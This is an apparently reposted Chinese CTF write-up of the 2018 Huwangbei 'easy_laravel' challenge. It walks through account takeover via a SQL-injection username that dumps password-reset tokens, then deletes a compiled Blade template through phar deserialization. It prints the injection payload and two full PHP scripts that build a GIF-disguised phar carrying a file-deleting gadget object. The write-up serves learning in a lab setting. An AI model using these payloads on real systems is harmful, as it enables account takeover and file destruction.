2018護網杯-easy_laravel 復現


 

題目docker環境:

https://github.com/sco4x0/huwangbei2018_easy_laravel

git clone下來直接composer up -d 運行即可,可以把端口映射改為8080:80

 使用 docker exec -it 容器name bash就可以交互式地進入容器進行操作

開始做題:

首先F12查看源碼發現源代碼路徑:

但是現在復現的時候已經關閉了,從github上題目源碼中直接把源碼拷過來吧。

遇到有composer.json的題目,首先composer install安裝一下相關的包依賴,這里首先需要本機已經安裝composer,沒有安裝的則:

http://www.runoob.com/w3cnote/composer-install-and-usage.html   //composer的安裝步驟

安裝完以后按道理可以執行composer install進行安裝了,但是連接超時,此時我嘗試了掛上代理去執行試試,結合shadowsocks+proxychains

sslocal -c /etc/shadowsocks/config.json  2&>1

本地開啟ss客戶端,配置1080端口的socks5代理,然后執行

proxychains composer install

此時安裝成功包依賴,權限問題的話記得sudo一下

如果遇到問題:

Your requirements could not be resolved to an installable set of packages //執行下一條即可
composer install --ignore-platform-reqs

安裝完成后就可以看到vendor目錄了,

 

 

 

 

此時可以進行代碼審計了。

 此時可以先使用php artisan route:list查看一下已經定義的路由

 

 

也可以在routers/web.php里面進行查看,這里面定義了web訪問的路由,其中admin中間件中定義email必須為admin@qvq.im,但是注冊的時候這個郵箱顯示已經被注冊過了,所以

而根據database的目錄中表名和字段名雖然能夠dump出來,但是在注冊時是經過bcrypt加密的,無法進行解密

database目錄中包含了應用初始時的一些數據庫相關信息,可以進行查看:

 

 

知道了郵箱,但是沒有密碼,但是有重置密碼的功能,而密碼重置需要用到token,因此嘗試注入把token從migrations目錄的password_reset定義的password_resets表中dump出來。

首先看看密碼重置的控制邏輯:

首先根據路由規則:

$this->get('password/reset/{token}', 'Auth\ResetPasswordController@showResetForm');

先找到對應的控制器文件:

而在此控制器文件中又使用了 use Illuminate\Foundation\Auth\ResetsPasswords;

而ResetsPasswords是一個trait,其不能實例化,定義它的目的是為了進行代碼復用,此時在這里方便在控制器類resetpassword中使用,又因為當訪問

password/reset/{token}時會觸發Auth\ResetPasswordController@showResetForm,顯示重置密碼的表單,那么我們需要去找到這個token從而去構造出這個重置密碼的鏈接,此時就可以利用之前的sql注入

去dump出來重置以后的token,然后來進行登陸

 使用以下語句注冊作為用戶名:

admin' union select 1,(select token from password_resets limit 0,1),3,4,5#

 可以得到重置用戶的token

 此時可以拼接重置密碼的鏈接得到重置密碼頁面:

 

然后使用重置的密碼進行登陸:

可以看到有幾個功能,點擊flag,返回no flag

 而路由中有Route::get('/flag', 'FlagController@showFlag')->name('flag');

此時將調用showflag

此時按道理應該直接返回flag,但是卻沒有正常返回

這里需要學習一下blade

Blade 是由 Laravel 提供的非常簡單但功能強大的模板引擎,不同於其他流行的 PHP 模板引擎,Blade 在視圖中並不約束你使用 PHP 原生代碼。
所有的 Blade 視圖最終都會被編譯成原生 PHP 代碼並緩存起來直到被修改,這意味着對應用的性能而言 Blade 基本上是零開銷。
Blade 視圖文件使用 .blade.php 文件擴展並存放在 resources/views 目錄下。

 這是因為模板編譯后的文件沒有刪除而導致無法顯示flag,因此需要刪除編譯后的模板文件,所以需要知道編譯后的文件名:

編譯后文件的路徑由兩部分構成第一部分是模板的絕對路徑path,第二部分是是緩存路徑,又因為緩存路徑為/storage/framework/views/,

其中/usr/share/nginx/html/是nginx的默認web路徑,由提示的得到,path為/usr/share/nginx/html/resources/views/auth/flag.blade.php的sha1值

即可以得到編譯后的文件的路徑:

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

此時需要刪除掉此文件,然后訪問flag,結合上傳功能中的反序列化:

在上傳中只檢查了后綴名是否在白名單之內,不對內容進行檢查,並且如果合法則存到app/public下面,並且在check中存在file_exists函數,並且path和filename都是可以控制的,因此可以phar反序列化

因此需要找到反序列化函數:

可以找到所有的含有__destruct的組件然后再在里面尋找是否含有unlink函數,這里采用Swift_ByteStream_TemporaryFileByteStream的析構函數中存在unlink方法

利用exp.php

<?php
class Swift_ByteStream_AbstractFilterableInputStream {
    /**
     * Write sequence.
     */
    protected $sequence = 0;
    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $filters = [];
    /**
     * A buffer for writing.
     */
    private $writeBuffer = '';
    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_path;

    /** The mode this file is opened in for writing */
    private $_mode;

    /** A lazy-loaded resource handle for reading the file */
    private $_reader;

    /** A lazy-loaded resource handle for writing the file */
    private $_writer;

    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;

    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;

    /**
     * Create a new FileByteStream for $path.
     *
     * @param string $path
     * @param bool   $writable if true
     */
    public function __construct($path, $writable = false)
    {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';

        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }

    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    public function __construct() {
        $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
        parent::__construct($filePath, true);
    }
    public function __destruct() {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

在vendor下面有autoload.php文件,因此可以直接include此文件進行構造phar包,

采用exp

<?php
    include('autoload.php');
    $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
    var_dump(unserialize($a));
    var_dump($a);
    $a = preg_replace('/\/tmp\/FileByteStream[\w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); //將其換成要刪除的文件名
    $a = str_replace('s:25', 's:90', $a);   //修改對應的序列化數據長度
    var_dump($a);
    $b = unserialize($a);
    
    $p = new Phar('./tr1ple.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($b);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    rename('tr1ple.phar', 'tr1ple.gif')
?>

cli下面php.ini中的phar的read only要off,然后上傳gif.在file界面點check再更改path路徑就可以觸發反序列化,path這里要用到絕對路徑,並且存儲的目錄在storge/app/public下面

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM